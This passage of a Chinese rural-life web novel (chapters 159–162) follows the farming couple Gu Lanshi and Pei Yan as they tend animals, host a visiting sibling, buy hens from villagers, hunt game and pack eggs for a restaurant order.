他边思索边开口:“养六只也是养,多一点也是养,分茬的话给鸭脚绑个标识就行,这也不难。只是夏天时,就得多捞鱼摸螺,如今养的六只,随便弄点河里的东西就能养活开,多了的话,恐怕有些顾不上。” “夏天地里杂草本就多,旱田水田都得照料,还有菜地,猪草鸡草都得打……”顾兰时顺着他的话慢慢说道,最后抬起眼睛,开口道:“养六只能照顾过来,下的鸭蛋足够咱们自己吃,也能卖一点,还是算了,家里只有两个人,实在腾不出手。” “嗯。”裴厌说道:“我也是这个意思,后头要是想卖活鸭和鸭蛋的话,不如就在村里收,没什么赚头不要紧,就当个捎带。” “好。”顾兰时应一声,心里也踏实了,不再纠结这件事。 各自干一会儿活,天色依旧没有放亮,绵绵细雨不断飘落。 大黑趴在麻袋上假寐,麻袋湿了以后,它站起来不断围着麻袋转圈,顾兰时余光瞥到,顺势就看过去。 “呜——” 大黑从喉咙里发出一声低低的呜咽,和顾兰时对上视线。 莫名的,顾兰时懂了它意思,走过去把麻袋给它翻了个面,没有被水打湿的一面朝上,大黑才又趴在上面。 顾兰时起身往西屋走,边走边说:“非得跟我去喂鸡,身上都湿了,还是拿块旧布给它擦擦,皮毛再厚,没有太阳晒,估计它也难受。” 裴厌转头看一眼趴在角落上的大黑,确实毛发都湿了,他随意说道:“那还是擦擦。” 找了一块旧麻布,之前想留着打袼褙,顾兰时拿出来,蹲在大黑前面,从脑袋给它擦起,又揉又搓,想尽量把长毛擦干一点。 灰灰和灰仔看见,纷纷过来争宠,不是蹭顾兰时后背就是用脑袋拱顾兰时胳膊。 原本十分受用的大黑见状,忽然露出獠牙,眼神也变了,一副凶狠的模样,喉咙里也发出低吼,显然在对灰灰和灰仔示威。 “趴下!” 裴厌见它有起身攻击的模样,登时一声呵斥。 大黑一下子收了凶相,舔舔嘴巴趴下了。 “灰仔,过来,你也过来。”裴厌一喊,两只灰毛大狗就算有点不情愿,还是乖乖过去了。 灰仔很亲人,但有点傻乎乎,平时裴厌生气了会夹着尾巴躲起来,这会儿却有点撒娇邀宠的意思,不断用脑袋和自己肥壮的身躯在裴厌后背蹭,就像刚才在顾兰时背后一样,直到裴厌烦了,反手一巴掌把它打开,它才消停一会儿。 灰灰和灰仔小的时候,顾兰时特别稀罕,不过自从长大后,破坏力变强,跟小孩一样,有时候特别烦人,如今他打狗已经打得特别顺手了,连带着对大黑也是如此。 刚才要不是裴厌先出声呵斥,他差点给大黑一巴掌。 他俩说两句闲话,手头都正忙着,灰灰和灰仔忽然警惕,目光直直看向雨幕中的院门。 “兰时哥哥——” 竹哥儿的声音从雨声中传来,裴厌放下手里的东西,戴上斗笠就要往外走。 顾兰时喊住了他:“把蓑衣披上,这会子竹哥儿过来,肯定也穿着,不着急。” 裴厌依言披上蓑衣,因下雨,想着不出去,雨下成这样,肯定没人来串门子,他俩今天就没开篱笆门。 “厌哥哥。”戴着斗笠的竹哥儿仰起脸,笑眯眯喊一声。 “快进来。”裴厌侧了侧身,等他进来后才掩上门。 第159章 顾兰时倒了一碗热茶,等竹哥儿小跑着进来后,塞进他手里,笑问道:“怎么这会子跑来了?” 竹哥儿穿了蓑衣不方便,于是把茶碗放在桌上,先解了蓑衣摘下斗笠,说:“昨天就下雨,不见停,没什么事做,下雨你俩肯定在家,我过来耍一阵子。” 顾兰时看一眼门外,虽然是细雨,但一直没停,地面早已变得泥泞湿滑,一般没人愿意出门,也就他们家竹哥儿了,下雨还要出门玩耍。 在门外台阶上蹭蹭鞋底和侧面粘的泥巴,竹哥儿再进来后,一屁股坐在凳子上,捧起茶碗就喝。 “慢些,又没人跟你抢。”顾兰时又给他续上热茶,笑道:“在家娘又说你了?” 热水一下肚舒坦多了,竹哥儿捧着茶碗捂手,抬头说道:“以前咱们两个人,娘爱唠叨,还有个人跟我一起挨说,如今只我一个,可不全落我头上了。” 顾兰时好奇问道:“到底什么事?” 他娘爱絮叨了一点,但并非有事没事就开骂的性子。 竹哥儿这才说道:“前天夜里没下雨,母鸡不知怎么,全从圈里跑了出来,二黑叫了好一阵,全家被吵醒,才把在菜地里乱啄的母鸡逮回去,月色又不好,还得打灯笼,折腾了好一阵,得亏二黑帮忙,不然飞到枣树上的两只母鸡还找不见。” 顾兰时笑着说道:“今儿娘又想起这事,又骂了你?” “可不是。”竹哥儿愤愤道:“就我挨骂,那我也不想鸡跑出来。” “娘骂你又不是别的人骂你,听两句左耳进右耳出就行了。”顾兰时劝了两句,忽然想起什么,问道:“娘为啥只骂你?” 竹哥儿一下子蔫了,喝一口热茶,才说:“那天我喂的鸡。” 顾兰时一下子笑了。 竹哥儿试图辩解:“我记得我关好了圈门的,谁知夜里它们就跑了出来。” 顾兰时起身去屋里拿果脯,边走边说:“没丢就行了,有什么大事,长个教训也好,后头就记住查看了。” 竹哥儿仿佛找到了知己,忙不迭点头:“就是,我今天去喂鸡就多看了一眼。” 见哥哥进屋子,他转头看向坐在堂屋门口编竹笼的裴厌,想了一下,笑着问道:“厌哥哥,在编笼子?” 对裴厌他不再像之前那样畏惧,只是两人之间能说的话不是很多,只能没话找话讲两句。 “嗯。”裴厌手一顿,看向他露出个淡笑,说:“之前的鸡笼子旧了,编两个新的使。” 听完,竹哥儿正愁下一句说什么,顾兰时拿了一包杏脯和一包糕点出来,他边走边拆,说:“杏脯上回买的,不多了。” 一看有吃的,竹哥儿露出个笑容,吃了两个杏脯才想起来,问道:“厌哥哥吃吗?” 顾兰时给自己倒了茶水,说:“他不吃,你吃你的,不用管他。” 杏脯剩的不多,裴厌要是想吃了,回头自己会在镇上买,弟弟手里又没钱,也不常去镇上,想吃零嘴还得跟他娘磨叽一阵,虽然最后肯定会买,还是得挨几句唠叨。 “我不吃,你吃。”裴厌附和道,低头又忙手里的活。 顾兰时拿起鞋底,一边纳一边和竹哥儿说闲话,听到李梅昨天回来,因下雨没能回去婆家,苗秋莲去祖宅送东西的时候在李家门口看见了,还闲说了几句话。 他看一眼外面雨幕,算了,下成这样,等天晴了梅哥儿要是还在家,再过去转转。 竹哥儿又拿起一块梅花糕吃,刚咬了一口,忽然就用手心拍了一下自己脑袋,说:“怎么把正事给忘了,昨天早上大舅舅来过,在家里坐了一下,原本说上这边来的,只是忽然下雨,他急着回去收稻谷,只同娘说,给吴家找了个夫郎,已经定了下来,成亲的日子还没算好,吴厨子高兴,让厌哥哥和大舅舅一道,过几日去他家吃酒呢。” “正好我说想过来耍,娘就让我给你俩捎个话。” 竹哥儿喝一口热茶,又咬了一口糕点,要不是有正事,下雨下的,他娘不一定让他出来呢。 顾兰时有点惊讶,说:“这么快?满打满算,连一个月工夫都没有,这就给找着了。” 竹哥儿听大人说闲话,倒是知道一点,开口道:“吴家着急,找的双儿正好是苗家村的,就是五阿爷家旁边那户,兰时哥哥,你还记得不?小时候咱俩去五爷爷家,还见过呢。” 顾兰时稍一想,就知道是谁了。 竹哥儿又道:“苗树儿要大两岁,家里穷,人又倔,一直没嫁出去,这不舅舅觉得有戏,试探着去问了吴厨子,人家再托了别人稍一打听,就想给几两银子,快快把亲事定下来。” 顾兰时问道:“树哥儿那么倔,这回点头了?” 苗树儿家里穷,不过在乡下,同样有门当户对的穷人,只是前几年每逢有人想给苗树儿说婆家,总被他自己用默不作声这一招给推了。 他还记得苗树儿的模样,和他是同一辈的,大了他两岁,算起来今年也有二十了。 小时候就是木讷不语的性子,相貌平平,却无比孝顺乖巧,每次碰见都在帮家里干活,每次他娘提起苗树儿就夸。 苗树儿阿姆身体弱,他长到十三岁的时候,才添了一个汉子弟弟,爹却跌了一跤成了跛子,他要是嫁出去,一家老小根本没人照看,于是一直留在家里干活。 竹哥儿把剩下的糕点都塞进嘴里,吃完后才说:“这不是他弟弟大了,能干点活,他阿姆和阿爹也怕耽误他太久,以后真嫁不出去就遭了,好不容易有个眉目,又是咱大舅舅大舅母给牵的线,这不好说歹说,总算点了头。” “原来这样。”顾兰时点点头。 那苗树儿家里确实穷,好不容易添了男丁,爹又出了事,前两年还有人上门,说有人想买个童养夫郎,出的价很不错,比一般双儿的彩礼要高。 只是那户人家离得很远,苗树儿家原本是动了心的,不过后来再一琢磨,生怕遭受欺骗,万一遇到不好的事,那么远,连见一面都难,最后还是作罢了。 如此一拖再拖,如今就是想找个好点的婆家都难,吴厨子一家虽也艰难点,甚至都没庄稼地,可毕竟在酒楼里当厨子,一家子又在镇上挣钱,已是他们从前想都不敢想的高枝儿了。 至于吴家,吴升文着急是着急,也不是傻子,打听了苗树儿家里后,才又去找了苗成才。 苗树儿一家子是老实人,穷是穷,有住的地方,也有两亩地种,一年到头勉勉强强能吃饱。 至于苗树儿,干活勤快利索,也懂孝顺尽心,吴升文最看中的就是这一点,年龄大不是问题,只要性子好,过日子不都是一样的。 吴二儿一直没讨到老婆,能尽早成亲自然是最好的。 吴升文手里再艰难,为给二儿子娶夫郎,几两银子还是能抠出来的,就托苗成才两口子在其中传话说和,许诺了彩礼和该给的布匹,事情也就成了。 裴厌听完,问道:“舅舅没说去镇上的日子?” 竹哥儿开口道:“好像是十六。” “还有几天。”顾兰时给裴厌续了热茶,伸长胳膊把茶碗递过去,说:“今儿才十一。” 裴厌接过茶碗喝两口,点头道:“嗯,不着急,等雨停了,过两天我去送菜,碰见吴厨子,他肯定会提起。” 闲聊一阵子,竹哥儿看一眼门外,雨势变小了,他捏两个杏脯塞进嘴里,拍拍手笑道:“趁雨小,该回去了。” 顾兰时见他要起身,伸手直接按住了,露出个笑,说:“急什么,刚来就要走,饭还没吃呢。” 见竹哥儿没有领会他的意思,他使个眼色才道:“你厌哥哥昨天打了一只肥兔子,等会儿炖兔肉吃。” 兔子肉。 竹哥儿嘿嘿傻笑两声,屁股又在板凳上坐实。 雨还在下,去不了镇上,兔子已经死了,放太久不好,只能趁新鲜自己吃。 没一会儿,见时辰大了,裴厌放下手里的活,去烧水杀兔子,顾兰时和竹哥儿在灶房给他打下手,三个人也热闹,说说笑笑一起做了顿饭。 天冷,吃完热乎乎的炖肉浑身暖和起来,手脚都不冰了。 竹哥儿要走的时候,见雨停了,顾兰时舀了一碗肉让他顺便带回去,兔子肥,肉块剁了不少呢。 大黑几个跟着一起沾光,有肉块也有肉汤,吃得十分满足。 顾兰时把剥下来的兔皮收好,回头鞣了,家里用不上的话拿去镇上卖掉,皮货还是挺值钱的。 第160章 日子一天天过去,泥地湿了又干,车辙压出来道道痕迹,即便土地晒得硬实之后,依旧明显。 顾兰瑜拉了一板车豆杆从村口进来。 车上垒的豆杆高又多,他左肩套着宽布车襻,车襻在胸前和后背绷直,弓背弯腰,身子往前略倾,双手抓着板车前段的把手,明显在用力。 花惜霜和竹哥儿在后头推车,车轮遇到坎儿时,不用提醒,三人一同发力,使板车碾过高低不平的路面。 他们几个过去之后,过了一会儿,在地里把剩下不多的豆杆拔了后,苗秋莲和顾铁山背着竹筐才进村。 太阳大,晒得额头都是汗,眼睛也眯起来。 苗秋莲筐里的豆杆较少,有几根还是她在路上拾的,没有豆荚子的豆杆她也捡,晒干了能当柴火烧。 “兰生他娘。” 苗秋莲听到声音,停下后回头去看。 孙老夫郎从自家院子里追出来,笑呵呵上前说道:“刚从地里回来?” “可不是,总算拔完了。”苗秋莲擦擦汗,笑着问道:“阿嬷有事?” 顾铁山渴了,说一声抬脚先走,这一趟去地里没有带水,不想出了汗后,实在渴极。 苗秋莲背上竹筐不沉,她倒是不渴,就是觉得热,便把竹筐卸下来让顾铁山拎回去,自己落个一身轻也方便。 孙老夫郎没有遮掩,直言道:“我听说,兰哥儿那边收老母鸡?” 提起这个,苗秋莲一下子来了耐性,给自己儿子揽生意的事,哪能轻易放过,说道:“收呢收呢,早起我们姑爷去镇上送菜,路过门前时,我多嘴问了一句,他说是收了几只,这两天若有人想卖老母鸡老母鸭,又懒怠去镇上,只管先过去问问,能收他就收了。” 孙老夫郎一听有戏,赶忙说道:“我这里正好有两只,养好几年了,已经不下蛋,前段时日就想着卖掉,只是家里忙,又下雨,我这老胳膊老腿,走一趟远路得许久。” “这不是赶巧了,我们姑爷这两天正缺呢,要是过几天收够了,还不一定要。”苗秋莲说完,想起什么又补道:“不过这价钱,因是在村里收,不用大伙儿老远跑一趟,他也就赚个辛苦钱,我也不哄阿嬷你,直接跟你说了,市价四十文的老母鸡,他那边按三十八文,鸭子也是一样,比市价少两文。” 见孙老夫郎面色犹豫,她又开口:“虽如此,只要带着母鸡过去,兰哥儿他俩收的话,当面儿就把钱给了,绝不拖沓。” “这样……”孙老夫郎思索着,一时还不能决定。 见状,苗秋莲笑道:“阿嬷再看看,要是想卖的话,尽管去后山那边问问,兰哥儿在家呢,我家里还忙,就先走了。” “好好。”孙老夫郎忙不迭应声。 等苗秋莲走之后,他回家想了一阵子,是少了两文,不过这钱去了就能到手,他自己揣着,不用经别人的手。 他家日子不错,但过日子,总有些磕磕绊绊。 如今他上了年纪,大儿媳接了管公中的钱和事,自己每月有米粮孝敬,吃喝不愁,养几只鸡鸭也是他自己的。 他腿脚不便,只能让儿子去镇上卖鸡鸭,回来还要对对钱数,再打听打听外头的市价。 有一两回钱数少几文,能忍时他装糊涂当不知道,生气时便骂儿子几句,又怕儿子落下不好的名声,多半是把儿子叫进屋里训斥,没有在院里嚷嚷。 裴厌收鸡收鸭子的价钱他听人说了一嘴,比自己去镇上卖要少一点,别人卖了钱不愿意声张,他也不好细问,想去后山吧,想起裴厌那个活阎王的脾气和手段,实在迈不动腿。 尽管方红花经常在他们一众老妇老夫郎之中常说裴厌孝顺,可到底没打过交道,心里不免发怯,才想着问问苗秋莲。 既然兰哥儿在家,孙老夫郎想了又想,最后抱了两只老母鸡往后山匆匆赶去。 * 前院,顾兰时翻动竹匾里的菜干子,后面谷场上晒了一大片豆杆,昨天就把豆杆收回来了,今天一早,裴厌又赶车去镇上送鸡蛋送菜。 院门开着,能听到外头母鸡咕咕咕叫,或许是下蛋了。 他端起晒地皮菜的竹匾左右晃动,又跟颠勺一样颠动翻了几翻,随后放在木架上继续晒。 院里除了竹匾以外,木架上也晒了不少菜,最多的是长豇豆,还有一片片挂起来的春菜叶子,家里春菜种的多,这东西一棵长得还挺大,只是卖不上价,家家都种,拉去镇山估计卖不了多少,还不如晒成菜干自家吃。 忙完这些,顾兰时正打算取了蛋篮去拾鸡蛋,就听见外边大菜地狗叫声响起。 篱笆门大开着,远远看见门口有人影靠近,他高声道:“大黑!” 以大黑为首的三只狗都不再往门口扑,而是站在原地,警惕看着外面。 “兰哥儿!”孙老夫郎抱着受惊的老母鸡,一看见这三只恶狗,战战兢兢不敢进门。 要是别人家还好,狗再大也不至于如此惧怕,前几年裴厌带着狗咬娄进一伙人时,他也瞧见了,那场面对他来说着实可怖,哪里见过如此凶狠的恶狗,站起来跟人一样高。 看出对方怕狗,顾兰时走得很快,还没到跟前,就挥手让大黑几个去别处,笑着说道:“是老嬷啊。” 灰仔不再吠叫,但摇着尾巴跟在顾兰时脚后,它看见孙老夫郎怀里的老母鸡,慢悠悠蹭过去,伸长脖子想闻闻。 “哎呦!”孙老夫郎对裴厌养的狗骨子里透着惧怕,声音都发颤。 顾兰时抬手在灰仔敦实的背上拍一下,呵斥道:“去!边儿去!” 灰仔这才离开,转悠到菜地里到处闻。 孙老夫郎看它一眼,虽然害怕,但也忍不住想,这狗养的,可真壮实。 “都走了,老嬷放心,有我在呢。”顾兰时笑着让孙老夫郎进门。 孙老夫郎顺着石子路一边走一边看,他跟着方红花来过一次,对大菜地并不算陌生,见狗不是趴在角落里,就是在菜地里啃菜,并无朝这边扑咬的迹象,他勉强放下心。 “老嬷是要卖母鸡?”顾兰时一边倒茶一边问道。 孙老夫郎依旧抱着两只老母鸡,坐下后背对着院门总觉不安,于是转了个方向,侧面坐着,这样一转头就能看见狗是不是过来了。 顾兰时笑了下,以前没有成亲的时候,他也害怕大黑,不怪别人如此谨慎。 坐安稳之后,孙老夫郎才顾上说话,他扭头看向这边,说:“这不是听人说,你俩收母鸡,刚才又碰见你娘,想着过来问问。” 顾兰时很直接,笑着让他喝茶,说道:“老嬷来得巧,这两天正要收几只,价钱不知道我娘说了没,这肥母鸡在镇上能卖到四十文,我们收是三十八文,赚一点辛苦钱而已。” 这个价钱,孙老夫郎点点头,他犹豫着,像是有点不好意思,问道:“那我要是卖呢?这钱……” 顾兰时领会到他意思,说:“两只七十六文,卖的话,我现把钱给老嬷结了,不耽搁。” 孙老夫郎露出个笑脸,说道:“哎呦,我就说,还是你们实在,这样,这两只母鸡我就搁这儿了。” 他把母鸡放在地上,因捆了脚,两只母鸡都没法儿站起来,刚才又受了狗惊吓,挣扎并不激烈。 顾兰时早在门口就看见这两只母鸡挺肥的,根本不用挑肥拣瘦,起身说道:“那老嬷等一等,我进去拿钱。” “嗯嗯。”孙老夫郎看着他进屋子,茶水顾不上喝,始终伸脖子看向堂屋那边,直到顾兰时拿了钱袋出来,他喜笑颜开。 钱袋里装的都是散钱,就算整钱,也得在人家面前一文文数清楚,顾兰时打开钱袋,嘴里念着数,在孙老夫郎紧盯的目光下数了七十六枚铜板。 数完后,他把钱袋揣进怀里,把桌上那些钱推向孙老夫郎那边,客气道:“老嬷再数数?看对数没。” “哎,都是看着的,肯定没错。”孙老夫郎嘴上这么说,但还是一枚枚数起来。 顾兰时坐在旁边没打搅,人家数一数也是应该的。 “七十五、七十六,正正好。”孙老夫郎数完,笑得脸上褶子仿佛都多了几道。 他掏出荷包,把铜板都装进去,灰灰跑进院里,他看一眼,因为高兴都没那么怕狗了。 “去。”顾兰时把围过来的灰灰推一把,叫它去别处,省得在这里吓人。 孙老夫郎笑呵呵起身,说:“你快忙,我不搅扰了。” 顾兰时也站起身,笑着说道:“那我也不虚留老嬷了,我送老嬷出门。” “哎好。”孙老夫郎连忙答应,最凶的黑狗可在外头呢,他独自走过菜地,万一狗扑过来,他老胳膊老腿跑都跑不过。 送走孙老夫郎后,顾兰时回来,先把地上两只老母鸡关进柴房,解了脚上麻线,不一会儿用破碗给倒了点水,地上撒了一点谷糠碎草叶,就没有再管,关严柴房门随它们自行在里头躲着。 最近酒楼酒馆生意都不错,见裴厌拉了活鸡活鸭上去,楼里要几只,馆子里也要几只,前几天收的鸡鸭都卖光了。 裴厌回来时说沿街吆喝卖鸡蛋,有人看见鸡笼子,还问有没有活鸡,他俩想着再收几只。 住在后山较远,于是就托了他爹娘在村里帮着传话。 孙老夫郎还是好的,钱数对上再没别的话,很讲理,上回村里另一个老夫郎抱着老母鸡来卖,他给结了钱,对方自己数了好几遍,数目能对上,临走时却还嘀嘀咕咕,生怕钱数不对,不过也没办法,有的人就这样。 160-180 第161章 谷场晒了一地豆杆,割回来的草直接倒在院子空地上,顾兰时取了靠在墙上的木叉,把草铺平开。 裴厌推板车到柴房屋檐下,将板车竖着靠起来后,这才掸掸拍拍身上的草屑灰土。 院子外面晒了些半干不湿的草,等彻底晒干后,不是装进麻袋,就得堆进木棚底下。 “这会儿吃饭?”顾兰时铺完草后又把木叉放回去。 裴厌蹲在灶房门口洗手,抬头说道:“歇一歇,吃口糕点垫垫,吃完我去切菜。” 这次出门打草走得远,他以前走惯了,并不觉得有什么,但回来路上顾兰时明显有点吃力。 “行。”顾兰时喘过一口气,走过来一起洗手。 割草的手沾着草汁的青色,又混着土,盆里的水很快变脏,手上搓出来野澡珠的沫子都没那么白了。 仔细洗净后,顾兰时擦干手,问道:“明天还去送菜?” 裴厌端起木盆打算出去倒脏水,闻言开口道:“去,最近天好,不少人买了菜回去晒菜干,下午我还想上山,看能不能打到兔子,野鸡也行,带两只野味上去。” “嗯。”顾兰时点点头,走到屋檐下摸了摸泥炉上的大陶罐外壁。 出门之前已经烧开了,炉子里的火灭了,不过水还温热,他舀了两碗水端进堂屋,又拿了点心出来,这才坐下边吃边歇脚。 等裴厌在桌子另一边坐下后,他说道:“我跟你一起上去,你打你的,我挖些野薯和地根块。” 这些东西弄堆土埋进去能放一段时日,煮了好给猪吃,煮熟后剁碎了也能掺着喂鸡鸭,西屋外头靠西墙壁的角落里已经用土盖了一堆。 “好。”裴厌先喝了半碗水,放下后擦擦嘴,想了一下说道:“野薯放在外头,要是下雨,屋檐就那么一点宽,没个别的遮挡,淋湿后容易发芽生根,改天挪个地方放,要么,就得搭个小窝棚。” “近来这么忙,搭窝棚繁杂,不如就搁在堂屋里,那边。”顾兰时指着西边最里头的墙角,说:“挪进来,放那儿就行了。” “也好。”裴厌拿起一块米糕,一口就咬下去大半。 顾兰时又道:“到时候弄两根木头,挡在土堆外面,围成隔档。” “嗯。”裴厌嘴里有东西,含糊答应着。 看他俩吃东西,灰仔舔着嘴巴过来,顾兰时看它一眼,拿起一块米糕掰了,分给三只狗去吃。 * 地上一层落叶,爬上山坡后,顾兰时跟着裴厌往深处走,前山人多,田里稻谷和柴豆都收了,野兔子野鸡踪迹比之前少。 忽然听见旁边树林子里有人喊,他俩停下脚步看过去。 孙安媳妇刘娥背着个竹筐,手里拿着小锄头,离得不远,林子里树多,有时在树后蹲下,不容易瞧见。 “婶子,挖什么呢?”顾兰时笑眯眯开口。 刘娥往这边走,她背上筐子有点份量,额头上都出了汗,说道:“嗐,弄点子窝根,又刨了些树叶塞进去,好当柴引子。” 她说完,顿一下问道:“兰哥儿,你俩还收鸭子不?” 顾兰时看向裴厌,裴厌开口道:“婶子,这两天先不收了,婶子是想卖鸭子?” 一听不收了,刘娥擦擦汗,说:“嗐,也不是我卖,我娘家老头老太太养了几只,今年老了,下蛋不怎么好,就想着卖掉,我寻思虽然少两文,你用车拉走,就省得他俩走一段歇一段往镇上跑。” “这几天不收,是酒楼里的鸡鸭足够,再过几天,生意好食客多,鸡鸭吃完了,我自然还要收一些送去,婶子那边要是不着急卖,下次再收的话,我先上婶子家里问问。”裴厌说道。 这话说得很和气,刘娥笑着开口:“好好,到时候我过去看看,要是他俩没卖的话,正好你收了。” 再没别的话说,客套两句后,便各自分开了。 收鸡鸭刚起个头,能揽住的生意自然要先揽住,自从裴厌拉了活鸡活鸭去镇上,吴厨子那边不用说,肯定是要的,他得给苗成才面子。 况且裴厌并非一概都收,若老母鸡老鸭子瘦巴巴的,根本不会出价钱,他拉去镇上的东西都不错。 价钱合适东西也好,是不怎么愁销路的。 村里有的老人仗着上了年纪嘴巴厉害,但到了裴厌这儿,就算想闹事也得先掂量掂量,因此即便是顾兰时委婉拒绝了对方带来的鸡鸭,那几人根本不敢嚷嚷。 至于同春酒馆,馆子是小了点,就蒋厨子一个人管灶上各种事务,既然有现成拉到门口的,他也省了力气。 酒楼酒馆要是一次要的鸡鸭多,裴厌会相应便宜一文,和菜蔬不同,肉食蛋类本就金贵,能便宜一两文已经不错了。 他有时也会沿街叫卖,一只老母鸡别看只赚两文钱,他不嫌少,一文文攒着,慢慢就多了。 “我就在这附近。”顾兰时把竹筐放在地上,顺着藤蔓用锄头挖埋在土里的野薯。 裴厌看一眼前面,说:“好,我打到会过来找你。” 他走远之后,身影消失在郁郁草木后面,顾兰时在山上待惯了,刚过晌午,太阳亮堂堂的,他安心在这里挖薯根,不一会儿就刨出来不少,砍断根须后逐一丢进筐子里。 正在挖的这种野薯人也能吃,不过没什么滋味,想吃那种甜甜的,还得在山里搜寻。 他俩攒下不少冬粮,等过段时日不忙了,再上山寻找也不迟。 吴厨子家的酒吃过了,八月十五走亲送礼也过去了,近来不过是攒些牲口过冬的口粮,别的再没什么要紧事。 顾兰时一个人在附近挖东西,等筐子装满,他坐在树底下歇息,不时张望前方,没多久,听见裴厌喊他,他连忙高声答应,起身往声音传来的方向走了几步,就看见从那边林子里出来的裴厌。 “打到了?”顾兰时眼睛微微发亮,即便还没到跟前,他已经看见裴厌手里提着的东西不小呢,除了灰色的野兔子外,还有只绑了脚倒提着的彩羽野公鸡。 “打到了。”裴厌边走边把手里的东西提起来示意,近前后笑道:“运气好,撞见一对兔子,差点让小的那只跑掉,还好撵上了,野鸡是下到山沟里看见的。” 他把东西放在地上,和顾兰时一起蹲在旁边看,说:“打到兔子后,原本打算过来找你,又一想,来都来了,不如多转转,打只山雀也好,咱俩打打牙祭,不想碰见了这只野鸡。” 顾兰时抓着大野兔的后脖子拎起来,份量不轻呢,他高兴得不行,上回裴厌说打兔子,在山上转悠半天就打到一只,果然这种事要靠运气。 “馆子里有老母鸡,更稀罕野兔子,这只野鸡不如咱们自己吃了。”裴厌提议道。 顾兰时有点犹豫,这只野公鸡比较大,看着能卖五十文,不过一想到炖鸡肉,以及油亮亮的鸡汤,他有点被说服了。 自家养的鸡鸭舍不得吃,要留着下蛋,那几只公鸡如今只剩两只了,大公鸡要打鸣不能宰,前几天还说剩下那只留到过年时再杀,待客要用。 裴厌看出他的顾虑,笑了下开口道:“最近零零总总也算赚了些,吃好点是应该的。” “好吧。”顾兰时妥协了。 原地歇一阵后,两人兴高采烈下了山,第二天晌午不但炖了鸡吃,还小喝了几杯浑酒。 * 一入暮秋,天气好时还算暖和,可作物渐渐不怎么长了,一天天变得枯萎凋零。 早起,太阳出来后,顾兰时没有出门割草,一个人在丝瓜地里忙碌。 比起之前的蔬果繁茂,眼下整个菜地带了几分枯黄颜色,菘菜和萝卜分批种下了,昨天拔了豇豆杆,等裴厌回来翻翻地,给那边栽些大蒜,过一冬到明年春天就能抽蒜菜。 把丝瓜摘下来,有的已经老了,再晒一晒就能刷锅刷碗用,小一点的绿丝瓜已经不怎么好吃了,切了和猪食一起煮。 他俩吃的还有丝瓜干呢,泡开了就能炒菜炖汤。 丝瓜藤上还有些刚长出来的小瓜苗子,顾兰时没有摘,跟藤蔓一起抱着扔在石子路旁。 这一片丝瓜地不算小,一共栽了四行,拔下来的藤蔓一大堆,同样得等裴厌回来了,用板车拉出去丢掉。 菜藤瓜秧这些东西,如今枯黄干瘪了,牲口都不爱吃,当柴火也不好烧,他俩硬柴软柴都够用,留下来用处不大。 拔了两行后,顾兰时站在原地歇,太阳挺大的,他身上出了汗,听见狗跑来跑去的动静,他扭头看向石子路那边。 灰灰和灰仔不知道发什么疯,围着藤蔓堆跑,甚至一个助跑从上面跳过去,许是耍高兴了,又跑回来再跳一遍。 顾兰时被它俩逗笑,看了一会儿没有阻拦,自己又忙着拔藤蔓,还得把竹竿从里头分出来。 藤蔓有缠得紧的,他一个人抽出竹竿还费了点力气。 好不容易拔完后,见三只狗都往门口跑,没一会儿裴厌就进了门。 顾兰时早已习惯家里狗的机灵,也不知道它们是怎么办到的,人还没进门就先察觉到了。 裴厌在门口停下驴车,没有让毛驴进来,顾兰时这才疑惑问道:“还要出去?” “嗯。”裴厌拿了车上的竹筐往进走,脸上有着喜意,说:“楼里还要鸡蛋,问我家里还有多少,我说三四百,掌柜的全要了,让这会儿就送去。” “全要了?”顾兰时眼睛睁大,随即皱起眉:“二百咱们应该有,三百有些悬,我记着大概数呢,哪儿有这么多。” 天冷以后,母鸡下蛋逐渐少了,原先一两天能下一个蛋,如今两三天一个,也得亏他俩养的多,一天好歹有一二十个鸡蛋能拾,再加上之前的,二百倒是有。 裴厌见他衣袖上沾了土,帮着拍打几下,又把他头发上几片叶子取掉。 藤蔓长得高,拔的时候不可避免有些枯了的叶子会抖落。 顾兰时自己看不见,因裴厌长得高,他不用低头。 裴厌开口道:“说多一点,酒楼要的少咱们家里的就足够了,要是说少了,不够他们要的,他们还会找别人,我把这生意揽下,也不是乱说数,岳母那边不是有鸡蛋,还有两个嫂嫂,都养了几只母鸡,再不够的话,去伯父家里问问,总能凑够数。” 苗秋莲养鸡也是为了下蛋去卖,之前两次都是数好数,让裴厌拉去镇上,顺道卖给酒楼,她和顾铁山十分省心。 听完,顾兰时心里有了底,不再着急了。 第162章 灶房。 之前为方便运鸡蛋,做了不少缠了稻草的竹片格子还有托底,木板托底和缝上去的篾片托底都有。 自己编的竹筐,圈数一样,大小差不多,不过还是有一点细微差别,因此每个竹筐的鸡蛋格子都是固定的,一来拿放鸡蛋方便,二来也好计数,不用来回倒腾。 灶台对面的墙角,放了几个高矮不同的缸和瓮,那边离水缸和灶火都远,又无窗子进风进雨,不是米缸面缸就是柴豆面和别的一些口粮。 顾兰时提了两个蛋筐进来,他身后紧跟着裴厌。 两人来到角落,一个大肚瓮上盖着木板,取下后露出存放在里面的鸡蛋。 鸡蛋底下铺了谷糠,下面还有几层。 以前养鸡不多,用竹篮和筐子放鸡蛋,后来腾出一个大肚瓮,能放的鸡蛋多还不担心不小心碰倒,毕竟一个大肚瓮本身就挺沉的。 “今天的鸡蛋我还没去收,先把这些装了。”顾兰时说着,把两个竹筐里的空格子都取了出来,只留最底下一层。 裴厌同样如此,每个竹筐的格子都放在筐子旁边,不怕弄混。 他俩一人站在大肚瓮一边,先从竹筐最底下一层格子开始装鸡蛋,装完后把上面一层格子放回去,逐次装满。 大竹筐编了六个,一个能装七十六个鸡蛋,小竹筐是五个,一个筐能放四十八枚,数目都是定好的,不用现数。 “酒楼怎么一下子要这么多?”顾兰时问道。 因大肚瓮翁口较小,鸡蛋又娇贵,经不得磕碰,他俩一个拿完另一个才伸手进去。 裴厌从里面拿了三个鸡蛋出来,塞进格子里,说:“再有半个月,天冷了,再没鲜草鲜菜吃,母鸡不下蛋,只能这会子多买,还能便宜些。” 顾兰时点点头,也是,就算农户人家,想初冬后有鸡蛋吃,也得这时候着手积攒。 酒楼生意大,按三四百枚鸡蛋买也在理,他刚才乍一听到这个数,觉得太大才惊奇。 “今天鸡蛋怎么卖的?”他顺嘴问道。 裴厌笑一下,说:“四文,原本想卖五文的,沿街听了几耳朵,多是四文,五文的少,四文都觉得便宜,抢着买,有两个提篮子卖鸡蛋的人,虽然带的不多,我还没从街角拐过去,就听见那两人在后头喊卖完了。” 大肚瓮最上面一层的鸡蛋拿完了,他和顾兰时把底下的谷糠用手捧着弄出来,倒进木桶里,又说道:“再过几天,肯定就卖到五文了,酒楼也是想着趁这会儿便宜,大量收回去。” 